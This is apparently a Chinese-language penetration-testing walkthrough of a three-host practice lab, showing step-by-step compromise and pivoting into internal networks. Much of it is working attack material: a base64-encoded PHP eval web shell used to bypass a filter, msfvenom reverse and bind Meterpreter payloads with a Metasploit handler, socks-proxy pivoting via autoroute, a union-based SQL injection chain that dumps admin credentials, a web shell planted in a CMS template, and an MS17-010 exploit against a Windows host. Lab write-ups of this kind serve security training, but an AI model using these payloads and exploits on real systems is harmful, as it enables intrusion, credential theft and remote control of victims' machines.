
首先我们使用nmap扫描一下target1的端口

既然开启了web服务,那么我们就先访问一下target1所搭建的网站

而这个版本是存在漏洞的,我们可以直接使用exp来getshell
如图:
但是当我们访问shell.php的时候发现访问失败
cat 一下我们写的shell,发现字符串 "$_POST" 被过滤掉了
那我们便进行绕过,payload:echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
接下来我们使用蚁剑进行连接
使用蚁剑的虚拟终端,查看一下当前的权限以及linux版本

接下来我们上传一个msf的马并连接,以便进一步渗透
生成一个linux的马:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=6666 SessionCommunication=0 SessionExpireationTimeout=0 -f elf > shell.elf
上传,并赋予执行权限,执行

使用msf设置一个监听器,用以连接木马
msfconsoleuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.104set lport 6666exploit
接下来我们查找一下与target1连接的内网网段有哪些,并将这些网段添加进路由并挂上代理以便进行内网渗透
run get_local_subnets //查看与target1所连的内网网段有哪些run autoroute -s 192.168.22.0/24 //将该内网网段添加进路由run autoroute -p //用于查看路由是否添加成功background //将当前的会话挂起search socks //接下来开始挂socks代理use auxiliary/server/socks_proxyset VERSION 4a //选择版本4a,5好像有问题set SRVHOST 192.168.1.104 //ip设置为kali ipexploit
接下来我们要修改一下代理软件proxychains的配置文件:/etc/proxychains4.conf。在配置文件最后一行加上:socks4 192.168.1.104 1080
当我们修改完配置文件之后,如果想要让我们的工具走代理的话,就需要在命令前加上:proxychains
至此,代理搭建完毕
接下来我们要搜集内网信息以便进行内网渗透
sessions -i 1arp -aproxychains nmap -Pn -sT 192.168.22.129 //扫描target2的端口
接下来我们来访问target2所搭建的网站
如果你想在kali中打开火狐访问的话,需要输入命令:proxychains firefox,通过这条命令打开的火狐是通过软件proxychains走代理的,然后直接访问ip:192.168.22.129 即可(如果不加代理的话,由于target2属于内网且与kali不属于同一网段,我们是访问不到web的)。
但是我这里想要使用物理机(本机)进行访问,于是要用到另一款代理软件:socksCap64。代理软件socksCap64的配置方法如下:(其实这里你也完全可以使用火狐自带的代理 - 就像使用brup那样的配置方法)
访问target2的web服务,由于我们挂了代理,所以直接输入target2的内网ip即可
查看一下网站的源代码,发现最下方靶场给出了提示:存在sql注入
利用sql注入拿下target2网站的账号密码
?r=vul&keyword=1'?r=vul&keyword=1'%23?r=vul&keyword=1' order by 39 %23?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23?r=vul&keyword=1' union select database(),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23?r=vul&keyword=1' union select group_concat(table_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema="bagecms" %23?r=vul&keyword=1' union select group_concat(column_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name="bage_admin" %23?r=vul&keyword=1' union select username,password,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin %23
将 admin/46f94c8de14fb36680850768ff1b7f2a -> md5解密:admin/123qwe。
账号密码拿到手了,接下来我们就需要找网站的后台了,一般而言像这种较为成熟的cms都会存在robots.txt文件,我们可以通过该文件找到后台
使用我们注入得到的账号成功登陆
向target2的网站中写一句话使用蚁剑连接,并向该服务器中上传正向连接的木马并使用msf监听
模板 -> header.php -> 编辑 -> 
使用蚁剑进行连接(同理:由于target2属于内网主机,我们仍要使用socksCap64代理软件打开 蚁剑 来连接一句话)
果然不出我所料,就知道target2要给我找点麻烦。
没办法,百度呗。最终在这个讨论区中找到解决方法:https://github.com/AntSwordProject/antSword/issues/243,
说是因为宝塔的缘故,导致连接被重置了,解决方法:尝试在header加上 Connection:keep-alive
通过蚁剑进入虚拟终端,看一下target2的系统版本,当前用户权限
接下来生成一个linux的马:msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12345 -f elf > shell2.elf
kali设置监听、上线
proxychains msfconsole //注意:这里我们要使用proxychains来打开msfuse exploit/multi/handlerset payload linux/x64/meterpreter/bind_tcpset rhost 192.168.22.129 //因为我们使用了代理来打开msf,所以这里直接填target2的内网私有ip即可set lport 12345exploit
查看与target2所连的还有哪些网段,并将该网段添加进路由
run get_local_subnetsrun autoroute -s 192.168.33.0/24run autoroute -p
对target3进行信息搜集,并上线
接下来进入target2的meterpreter会话,执行命令:arp -a,查看与target2相连的活跃主机有哪些
发现存在 192.168.33.129 这台活跃主机(target3)
扫描一波target3:proxychains nmap -Pn -sT 192.168.33.129(记得加上proxychains)
发现 445 端口开启,且为windows主机,我们可以猜测存在 MS17_010漏洞,直接使用msf盲打,成功上线target3
proxychains msfconsoleuse exploit/windows/smb/ms17_010_psexecset payload windows/meterpreter/bind_tcpset rhost 192.168.33.129exploit
再来一波进程迁移